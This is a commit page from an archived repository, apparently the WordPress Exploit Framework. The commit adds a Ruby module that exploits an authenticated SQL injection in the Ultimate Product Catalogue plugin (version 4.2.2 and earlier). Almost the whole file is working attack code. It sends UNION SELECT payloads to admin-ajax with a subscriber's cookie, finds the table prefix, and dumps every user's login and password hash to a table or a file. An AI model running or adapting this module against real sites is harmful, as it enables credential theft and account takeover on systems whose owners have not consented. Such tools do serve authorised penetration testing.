Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 1a8958e

Browse files
committed
Add Ultimate Product Catalogue <= 4.2.2 hash dump
1 parent 59b056d commit 1a8958e

File tree

1 file changed

+124
-0
lines changed

1 file changed

+124
-0
lines changed
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
class Wpxf::Auxiliary::UltimateProductCatalogueHashDump < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ultimate Product Catalogue <= 4.2.2 Authenticated Hash Dump',
9+
desc: %(
10+
Ultimate Product Catalogue <= 4.2.2 contains an SQL injection vulnerability
11+
which can be leveraged by all users with at least subscriber status. This
12+
module utilises this vulnerability to dump the hashed passwords of all
13+
users in the database.
14+
),
15+
author: [
16+
'Lenon Leite', # Disclosure
17+
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
],
19+
references: [
20+
['WPVDB', '8853'],
21+
['URL', 'http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/']
22+
],
23+
date: 'Jun 26 2017'
24+
)
25+
26+
register_options([
27+
StringOption.new(
28+
name: 'export_path',
29+
desc: 'The file to save the hash dump to',
30+
required: false
31+
)
32+
])
33+
end
34+
35+
def check
36+
check_plugin_version_from_readme('ultimate-product-catalogue', '4.2.3')
37+
end
38+
39+
def requires_authentication
40+
true
41+
end
42+
43+
def export_path
44+
return nil if normalized_option_value('export_path').nil?
45+
File.expand_path normalized_option_value('export_path')
46+
end
47+
48+
def execute_sqli(payload)
49+
res = execute_post_request(
50+
url: wordpress_url_admin_ajax,
51+
cookie: session_cookie,
52+
params: {
53+
'action' => 'get_upcp_subcategories'
54+
},
55+
body: {
56+
'CatID' => payload
57+
}
58+
)
59+
60+
return res.body if res && res.code == 200
61+
62+
if res
63+
emit_error "Injection failed - request returned code #{res.code}"
64+
return nil
65+
end
66+
67+
emit_error 'Injection failed'
68+
nil
69+
end
70+
71+
def determine_prefix
72+
eol_token = Utility::Text.rand_numeric(10)
73+
payload = "0 union select table_name, #{eol_token} FROM information_schema.tables where table_schema = database()"
74+
75+
res = execute_sqli(payload)
76+
return nil unless res
77+
78+
res[/,([^,]+?)usermeta,#{eol_token}/, 1]
79+
end
80+
81+
def dump_and_parse_hashes(prefix)
82+
eol_token = Utility::Text.rand_numeric(10)
83+
payload = "0 UNION SELECT concat(user_login,0x3a,user_pass),#{eol_token} FROM #{prefix}users"
84+
85+
output = execute_sqli(payload)
86+
pattern = /(.+?)\:(.+?),#{eol_token}[,0]?/
87+
output.scan(pattern)
88+
end
89+
90+
def output_as_table(creds)
91+
rows = []
92+
rows.push(user: 'Username', hash: 'Hash')
93+
creds.each do |pair|
94+
rows.push(user: pair[0], hash: pair[1])
95+
end
96+
97+
emit_table rows
98+
end
99+
100+
def export_creds(creds)
101+
open(export_path, 'w') do |f|
102+
creds.each do |pair|
103+
f.puts "#{pair[0]}:#{pair[1]}"
104+
end
105+
end
106+
107+
emit_success "Saved dump to #{export_path}"
108+
end
109+
110+
def run
111+
return false unless super
112+
113+
emit_info 'Determining database prefix...'
114+
prefix = determine_prefix
115+
return false unless prefix
116+
emit_success "Found prefix: #{prefix}", true
117+
118+
creds = dump_and_parse_hashes(prefix)
119+
output_as_table creds
120+
121+
export_creds(creds) if export_path
122+
true
123+
end
124+
end

0 commit comments

Comments
 (0)